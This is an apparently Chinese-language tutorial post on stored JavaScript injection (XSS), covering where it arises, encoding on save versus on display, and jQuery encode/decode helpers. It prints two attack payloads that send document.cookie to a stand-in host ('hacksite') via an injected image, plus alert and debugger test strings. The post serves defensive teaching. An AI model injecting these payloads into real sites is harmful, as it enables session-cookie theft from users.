JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
javascript 打开页面window.location和window.open的区别
Mar 17 Javascript
基于jquery DOM写的类似微博发布的效果
Oct 20 Javascript
JavaScript获取/更改文本框的值的实例代码
Aug 02 Javascript
jquery禁止回车触发表单提交
Dec 12 Javascript
jquery实现超简洁的TAB选项卡效果代码
Aug 28 Javascript
Bootstrap Table的使用总结
Oct 08 Javascript
JavaScript数组方法的错误使用例子
Sep 13 Javascript
laydate如何根据开始时间或者结束时间限制范围
Nov 15 Javascript
vue+element实现表单校验功能
May 20 Javascript
vue-cli2与vue-cli3在一台电脑共存的实现方法
Sep 25 Javascript
vue 解决文本框被键盘遮住的问题
Nov 06 Javascript
JavaScript设计模式--桥梁模式引入操作实例分析
May 23 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
MySQL数据库转移,access,sql server 转 MySQL 的图文教程
2007/09/02 PHP
php小经验:解析preg_match与preg_match_all 函数
2013/06/29 PHP
PHP获取一段文本显示点阵宽度和高度的方法
2015/03/12 PHP
PHP简单实现断点续传下载的方法
2015/09/25 PHP
laravel 数据迁移与 Eloquent ORM的实现方法
2019/04/12 PHP
Yii框架Session与Cookie使用方法示例
2019/10/14 PHP
PHP单元测试配置与使用方法详解
2019/12/27 PHP
jquery 插件开发方法小结
2009/10/23 Javascript
基于jQuery制作迷你背词汇工具
2010/07/27 Javascript
jquery 循环显示div的示例代码
2013/10/18 Javascript
js模拟C#中List的简单实例
2014/03/06 Javascript
在JavaScript中处理数组之reverse()方法的使用
2015/06/09 Javascript
javascript特殊日历控件分享
2016/03/07 Javascript
深入理解JavaScript中的call、apply、bind方法的区别
2016/05/30 Javascript
jquery实现图片切换代码
2016/10/13 Javascript
基于jQuery实现滚动切换效果
2016/12/02 Javascript
BootStrap表单验证实例代码
2017/01/13 Javascript
基于Vuejs和Element的注册插件的编写方法
2017/07/03 Javascript
关于react中组件通信的几种方式详解
2017/12/10 Javascript
Vue中对比scoped css和css module的区别
2018/05/17 Javascript
弱类型语言javascript中 a,b 的运算实例小结
2019/08/07 Javascript
JavaScript函数柯里化实现原理及过程
2020/12/02 Javascript
[01:02:17]2014 DOTA2华西杯精英邀请赛 5 24 DK VS VG
2014/05/26 DOTA
[47:42]完美世界DOTA2联赛PWL S2 GXR vs Ink 第一场 11.19
2020/11/20 DOTA
python中多个装饰器的执行顺序详解
2018/10/08 Python
python opencv进行图像拼接
2020/03/27 Python
利用matplotlib为图片上添加触发事件进行交互
2020/04/23 Python
Pycharm调试程序技巧小结
2020/08/08 Python
美国在线购物频道:Shop LC
2019/04/21 全球购物
新西兰杂志订阅:isubscribe
2019/08/26 全球购物
干部个人对照检查材料
2014/08/25 职场文书
三好生演讲稿
2014/09/12 职场文书
2015年销售部工作总结范文
2015/04/27 职场文书
篮球赛新闻稿
2015/07/17 职场文书
公司周年庆寄语
2019/06/21 职场文书
晶体管来复再生式二管收音机
2021/04/22 无线电